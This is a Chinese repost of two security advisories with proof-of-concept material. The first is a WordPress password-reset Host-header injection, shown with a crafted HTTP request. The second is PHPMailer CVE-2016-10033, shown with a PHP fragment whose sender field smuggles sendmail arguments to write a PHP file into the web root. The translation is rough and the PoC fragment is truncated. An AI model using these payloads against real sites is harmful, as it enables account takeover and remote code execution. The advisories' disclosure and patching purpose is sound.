漏洞介绍:
漏洞利用视频:https://www.youtube.com/watch?v=ZFt_S5pQPX0(请翻*墙)
wordpress有一个密码重置功能,其中包含一个漏洞在某些情况下可能允许攻击者抓住密码重置链接
没有以前的身份验证。这种攻击可能导致攻击者获得未经授权的访问权限受害者的WordPress帐户
默认情况下,该漏洞源自WordPress使用不受信任的数据当创建密码重置仅应交付的电子邮件时
到与所有者帐户相关联的电子邮件。
这可以在以下创建From的代码片段中观察到
调用PHP mail()函数前的电子邮件头:
------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ... -----------------------------------------
我们可以看到, WordPress正在使用SERVER_NAME变量来获取服务器的主机名,以便创建出站密码重置电子邮件的From / Return-Path头。但是,主要的Web服务器(如Apache)默认情况下使用客户端提供的主机名(在HTTP_HOST标头内)设置SERVER_NAME变量:https : //httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname因为SERVER_NAME可以被修改,攻击者可以将其设置为他选择的任意域,例如:attackers-mxserver。
这将导致Wordpress将$ from_email设置为wordpress@attackers-mxserver.com,从而导致将From / Return-Path设置为此恶意地址的外发电子邮件。
至于攻击者能够修改哪个电子邮件头 - From或Return-Path,它取决于服务器环境。可以在http://php.net/manual/en/function.mail.php上阅读
From头设置Windows下的Return-Path。根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件,其中包含电子邮件标头中设置的恶意的发件人/返回路径地址。这可能允许攻击者拦截包含密码重置链接的电子邮件,在某些情况下需要用户交互以及没有
用户交互。
1(需要受害者交互的那些和不需要受害者交互的方案)包括:攻击者可以对受害者的电子邮件帐户/服务器执行先前的DoS攻击(例如,通过发送多个大文件超过用户的磁盘配额,攻击DNS服务器等),以防止密码重置电子邮件到达受害者的帐户并反弹到指向攻击者的恶意发件人地址(不需要用户参与操作)
2 *某些自动回复者可能会附加发送到
自动回复的正文中的电子邮件的副本消息(不需要用户交互)
3 *发送多个密码重置电子邮件强制用户回复
消息以查询无限密码重置电子邮件的说明。
包含密码链接的回复将被发送给攻击者。(需要用户交互)
等
概念证明-------------------------
如果攻击者将类似于以下的请求发送到
可由IP 访问的默认Wordpress 安装地址(基于IP的虚拟主机):
----- [HTTP请求] ---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP / 1.1 主机:inject-attackers-mxserver.com Content-类型:application / x-www-form-urlencoded Content-Length:56 user_login = admin&redirect_to =&wp-submit = Get + New + Password --------------------- ---
WordPress将触发管理员用户帐户的密码重置功能。
由于修改了HOST标题,SERVER_NAME将被设置为
攻击者选择的主机名。
结果是,WordPress将通过以下头文件和电子邮件正文到/ usr / bin / sendmail包装:
------ [结果电子邮件] -----
主题:[CompanyX WP]密码重置
返回路径:
来自:WordPress <wordpress@attackers-mxserver.com>
Message-ID:<e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority:3
MIME版本:1.0
Content-Type:text / plain; charset = UTF-8
Content-Transfer-Encoding:8bit
有人要求为以下帐户重置密码:http:// companyX-wp / wp / wordpress /
username:admin
如果这是一个错误,只要忽略这个电子邮件,什么也不会发生。
要重置密码,请访问以下地址:
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
------------- ------------------
我们可以看到,Return-Path,From和Message-ID字段都具有攻击者的
域集。
可以使用以下命令替换/ usr / sbin / sendmail来执行头文件的验证
:
#!/ bin / bash
cat> / tmp / outgoing-email
VI。业务影响
-------------------------
成功利用后,攻击者可能会重置用户密码
,并获得未经授权的访问他们的WordPress帐户。
七。
系统受影响-------------------------
所有WordPress版本,最新版本4.7.4
解决方案
没有官方解决方案可用。作为临时解决方案,用户可以启用
UseCanonicalName强制执行静态SERVER_NAME值https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
此问题已经
向第一个报告发送到WordPress安全团队多次这是
通过安全联系电子邮件以及通过HackerOne网站直接报告的。
由于在这种情况下没有进展,这项咨询终于
公开发布,没有官方补丁(0day)。
这次曝出远程代码执行漏洞的是堪称全球最流行邮件发送类的PHPMailer,据说其全球范围内的用户量大约有900万——每天还在持续增多。
GitHub上面形容PHPMailer“可能是全球PHP发送邮件最流行的代码。亦被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等”。所以这个漏洞影响范围还是比较广的,漏洞级别也为Critical最高级。
漏洞编码
CVE-2016-10033
影响版本
PHPMailer < 5.2.18
漏洞级别
高危
漏洞描述
独立研究人员Dawid Golunski发现了该漏洞——远程攻击者利用该漏洞,可实现远程任意代码在web服务器账户环境中执行,并使web应用陷入威胁中。攻击者主要在常见的web表单如意见反馈表单,注册表单,邮件密码重置表单等使用邮件发送的组件时利用此漏洞。
不过有关该漏洞的细节信息,研究人员并未披露,期望给予网站管理员更多的时间来升级PHPMailer类,避免受漏洞影响。
漏洞PoC
实际上Dawid Golunski已经做了个可行的RCE PoC,不过会迟一些再发布。关注视频PoC请点击:https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
更新:PoC代码已经公布,请站长们尽快升级!
09607 <<< 09607 <<< 09607 <<< 09607 <<< --b1_cb4566aa51be9f090d9419163e492306-- See the full advisory URL for details. */ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = ""; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php'); $mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name'); $address = "customer_feedback@company-X.com"; $mail->AddAddress($address, "Some User"); $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033"; $mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "Message sent!\n"; }
漏洞详情目前已经提交给了PHPMailer官方——官方也已经发布了PHPMailer 5.2.18紧急安全修复,解决上述问题,受影响的用户应当立即升级。详情可参见:
https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md
https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md
评论(0)